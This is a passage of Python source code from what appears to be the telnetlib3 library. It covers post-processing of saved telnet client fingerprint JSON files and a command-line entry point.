        with term.cbreak(), _disable_isig():
            if _has_unknown_hashes(data, names):
                _prompt_fingerprint_identification(term, data, filepath, names)
            _fingerprint_repl(term, data, seen_counts, filepath, names)


def fingerprinting_post_script(filepath: str) -> None:
    """
    Post-fingerprint script that optionally runs ucs-detect for terminal probing.

    If ucs-detect is available in PATH, runs it to collect terminal capabilities
    and merges the results into the fingerprint data.

    Can be used as the TELNETLIB3_FINGERPRINT_POST_SCRIPT target::

        export TELNETLIB3_FINGERPRINT_POST_SCRIPT=telnetlib3.fingerprinting_display
        export TELNETLIB3_DATA_DIR=./data
        telnetlib3-server --shell telnetlib3.fingerprinting_server_shell

    :param filepath: Path to the saved fingerprint JSON file.
    """
    filepath = str(filepath)
    if not os.path.exists(filepath):
        logger.warning("Post-script file not found: %s", filepath)
        return

    with open(filepath, encoding="utf-8") as f:
        data = json.load(f)

    telnet_probe = data.get("telnet-probe", {})
    probed_protocol = telnet_probe.get("fingerprint-data", {}).get("probed-protocol")

    if probed_protocol == "client":
        _process_client_fingerprint(filepath, data)
    else:
        logger.warning("Unknown probed-protocol: %s", probed_protocol)


def main() -> None:
    """CLI entry point for fingerprinting display post-processing."""
    import signal

    signal.signal(signal.SIGINT, signal.SIG_IGN)
    signal.signal(signal.SIGQUIT, signal.SIG_IGN)
    signal.signal(signal.SIGTSTP, signal.SIG_IGN)
    if len(sys.argv) != 2:
        print(f"Usage: python -m {__name__} <filepath>", file=sys.stderr)
        sys.exit(1)
    fingerprinting_post_script(sys.argv[1])


if __name__ == "__main__":  # pragma: no cover
    main()
